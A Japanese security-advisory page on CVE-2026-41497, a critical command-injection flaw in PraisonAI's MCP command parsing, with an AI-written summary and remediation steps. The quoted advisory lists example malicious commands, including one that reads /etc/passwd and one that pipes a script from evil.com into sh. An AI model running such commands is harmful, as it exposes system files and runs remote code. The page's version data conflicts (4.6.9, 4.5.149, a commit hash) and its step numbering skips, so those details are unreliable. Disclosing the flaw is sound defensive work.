English version →
AI/ML
CVE-2026-41497 critical CVSS 9.8

praison に コマンドインジェクション (CVE-2026-41497)

概要

praison に コマンドインジェクション (CVE-2026-41497) が存在。悪用されるとシステム全体を乗っ取られる可能性があります。bash 経由で攻撃可能。対策: >= 4.6.9 以上に更新。

原文の説明

取得元が公開している説明をそのまま載せています (多くは英語)。

Summary

The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution.

Affected Package

  • Ecosystem: PyPI
  • Package: MervinPraison/PraisonAI
  • Affected versions: < 47bff65413be
  • Patched versions: >= 47bff65413be

Details

The vulnerability exists in src/praisonai/praisonai/cli/features/mcp.py in the MCPHandler.parse_mcp_command() method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.

The fix commit 47bff654 was intended to address command injection, but the patched parse_mcp_command() still lacks three critical controls: there is no ALLOWED_COMMANDS allowlist of permitted executables (e.g., npx, uvx, node, python), there is no os.path.basename() validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.

Malicious MCP server commands such as python -c 'import os; os.system("id")', bash -c 'cat /etc/passwd', and /bin/sh -c 'wget http://evil.com/shell.sh | sh' are all accepted by parse_mcp_command() and passed directly to subprocess execution without filtering.

PoC

#!/usr/bin…

出典: NIST National Vulnerability Database NVD GitHub Advisory

AI要約

外部の AI が作成した要約です。誤りを含むことがあります。重要な判断の前に、下の原文と参照URLを確認してください。

PraisonAIの古いバージョン(4.6.9未満)には、コマンドを実行する際の安全対策が不十分なため、攻撃者が不正にコマンドを実行できる欠陥があります。この問題は、プログラムがユーザーからの入力を十分にチェックしないことに起因しており、結果としてシステムが制御不能になる恐れがあります。過去にもこのような脆弱性により大きな被害が出た例があるため、直ちに最新の4.6.9にアップデートすることが推奨されます。

PraisonAIの'MCPHandler.parse_mcp_command()'関数において、入力されたコマンドや引数に対するバリデーションが行われておらず、攻撃者が任意のコマンドを実行できる状態です。影響バージョンは4.6.9未満で、4.6.9で修正されました。例えば、インラインでPythonやBashスクリプトを実行できるコマンドが許可され、システムが危険に晒される可能性があります。修正は、新たに許可リストやコマンド、引数の検証を導入することです。攻撃を防ぐため、ログファイルを監視し異常なコマンド実行を検知することが推奨されます。

❓ 何が問題か

praison に 脆弱性 (CWE-77) があります。攻撃者は bash を経由して脆弱な処理に到達し、認証なしで悪用できます。

📍 影響範囲

praison のうち 影響範囲: <= 4.6.8。攻撃箇所: bash / python / ALLOWED_COMMANDS / npx。

🔥 重要度

重要度: 最重要 (CVSS 9.8/10)。悪用されるとシステム全体を乗っ取られる可能性があります

🔧 修正方法

>= 4.6.9 に更新してください。(修正前: <= 4.6.8 該当バージョンが本番稼働中なら直ちに更新計画を立案)

🛡️ 暫定回避

修正版が未提供時は、影響機能の無効化・WAFルール・ネットワークACLでの遮断を検討。

🔍 検知方法

Webサーバ・プロキシ・WAFログで該当CVEのIOCに合致する不審リクエストを検索。SBOM/依存ファイルで影響バージョンを横断確認。

類似する過去の事例 過去のCVE/インシデントから類似事例を抽出

Similar command injection vulnerability due to insufficient validation in PraisonAI.

Spring Cloud Function vulnerability allowing RCE via improper command handling.

Apache Struts improper input handling leading to RCE.

もし自社で起きたら 業務シナリオごとの想定影響

📌 For SaaS platforms relying on PraisonAI for coordination tasks across distributed teams.

Unauthorized command execution could result in data breaches and system compromise.

📌 In internal IT infrastructures using PraisonAI for automated workflows.

Compromised systems may lead to unauthorized access and persistent threats.

📌 For enterprises using AI models via PraisonAI for operational tasks.

Service disruptions and data integrity issues due to unauthorized system commands.

推奨アクション

Companies should immediately upgrade PraisonAI to version 4.6.9, ensure command parsing is secure, and monitor system logs for signs of exploitation.

対応アクション

SOC/SREチームが順番に実行すべき具体的なステップとコマンド例

  1. 1
    影響範囲の特定 identify
    grep -r 'praison' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で praison を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    バージョン照合 verify
    Confirm if version satisfies `<= 4.6.8`

    Step 1 で見つかったバージョンが影響範囲 <= 4.6.8 に該当するか照合。本番で稼働中ならインシデント扱い。

  3. 6
    パッチ適用 patch
    Upgrade praison to >= 4.6.9

    ステージング環境で >= 4.6.9 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスと、Step 3 で見つけた異常検知の続報チェックを含めること。

  4. 7
    事後検証 verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番では Step 3 と同じログクエリでアラート再発が無いか継続監視。

影響パッケージ

pip praisonai
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.149"}]}]
PyPI praisonai
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.149"}]}]

参照URL

当サイトでは、アクセス解析と広告の効果測定のために Cookie を使います。株式会社Game のサイト共通の設定です。 詳しく